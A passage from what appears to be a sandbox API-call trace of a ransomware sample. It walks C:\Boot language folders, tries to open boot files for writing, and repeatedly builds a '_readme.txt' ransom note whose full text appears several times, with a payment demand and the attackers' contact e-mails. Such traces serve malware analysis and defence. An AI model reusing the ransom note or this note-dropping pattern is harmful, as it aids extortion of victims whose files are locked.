lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.832] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.832] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.832] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0111.833] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.833] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.833] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.833] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.833] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.833] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0111.833] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.833] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.833] PathFindFileNameW (pszPath="") returned="" [0111.833] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.833] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.833] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.834] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.834] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0111.834] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0111.834] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.834] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.834] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.834] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.834] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.834] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.834] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0111.834] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.835] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.835] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.835] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.835] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.835] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0111.835] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.835] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.835] PathFindFileNameW (pszPath="") returned="" [0111.835] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.835] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.835] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.835] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.835] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0111.836] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0111.836] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.836] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.836] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.836] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.836] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.836] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.836] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0111.836] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.836] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.836] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.836] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.837] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.837] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0111.837] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.837] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.837] PathFindFileNameW (pszPath="") returned="" [0111.837] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.837] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.837] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.837] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.837] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0111.837] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0111.837] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.838] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact 